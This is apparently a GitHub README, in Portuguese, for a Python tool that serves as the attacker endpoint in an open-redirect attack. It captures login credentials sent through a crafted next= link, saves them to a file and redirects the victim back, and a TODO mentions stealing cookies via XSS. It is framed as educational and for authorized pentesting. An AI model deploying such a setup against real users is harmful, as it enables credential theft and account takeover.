Skip to content

gutobrutus/open-redirect-tester

Repository files navigation

Open Redirect Tester

ATENÇÃO: Uso da app tem objetivo educacional ou para utilizar em um pentest web autorizado.

Essa app automatiza a validação de um ataque usando Open Redirect. A app recebe os dados submetidos a partir de um formulário em um alvo e salva em um arquivo chamado dados.txt. Esse ataque envolve uma etapa prévia de envio de um link para o usuário alvo.

Esquema teórico do ataque

Esquema - Open Redirect

Fonte da imagem do usuário malicioso (mage by macrovector_official on Freepik): Link

Em alguns sistemas, no formulário de login, após o usuário informar os dados e submeter, na url já é passado um parâmetro que indica que após logar, o usuário será redirecionado para uma determinada url. Esse parâmetro pode ter vários nomes (redirect, next, service, etc).

Na figura anterior, como exemplo, a url indica que após logar o usuário deverá ser redirecionado para https://sistema-alvo/dashboard.

Etapas do ataque:

  1. O atacante envia um link malicioso com um parâmetro de redirecionamento diferente, enviando os dados para um sistema malicioso. Ex.: https/sistema-alvo/next=http://url-maliciosa;
  2. O usuário vítima acessa o link e informa as credenciais de acesso;
  3. As credenciais são enviados para uma app maliciosa que recebe esses dados;
  4. Os dados coletados são salvos e o atacante tem acesso a essa informação.
  5. A app maliciosa envia um redirect para a vítima para uma url do sistema verdadeiro, no exemplo, https://sistema-alvo

Como usar essa app

  1. Efetue o clone da app em um computador com S.O. Linux, que será o servidor que executara a app maliciosa:
git clone https://github.com/gutobrutus/open-redirect-tester.git
  1. Acesse o diretório da app:
cd open-redirect-tester
  1. Inicie um virtual env do python:
python3 -m venv venv
  1. Instale as dependências:
pip install -r requirements
  1. Execute a app:
python3 server.py

Executando

A app solicitará 3 argumentos:

  • HOST: O host que coletará os dados do usuário, no caso, onde estará executando a app maliciosa.
  • PORTA: Em que porta a app maliciosa irá escutar.
  • URL_REDIRECT: Para qual URL a app maliciosa redirecionará a vítima, uma url válida do sistema que o usuário está usando.

A app responde no endpoint /redirapp, ou seja, se o HOST for 192.168.56.100 e a PORTA for 5000, o link que será enviado ao usuário deverá ser https/sistema-alvo/next=http://192.168.56.100:5000/redirapp. O ip ai é apenas para exemplificar, troque-o para o seu cenário.

Comentários:

Apesar de ser uma vulnerabilidade bastante conhecida, por vezes, ainda é encontrada alguns sistemas web. Essa app aqui é apenas para apoiar e facilitar um pouco na exploração, além de auxiliar no entendimento do ataque.

TODO

  • Coletar o cookie do usuário e devolver no redirect o usuário logado, deixando o ataque mais sútil e despercebido. Requer uma vulnerabilidade de XSS.
  • Persistir um log de acesso da app
  • Criar um Dockerfile para utilizar em container a app

About

Open Redirect Tester

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages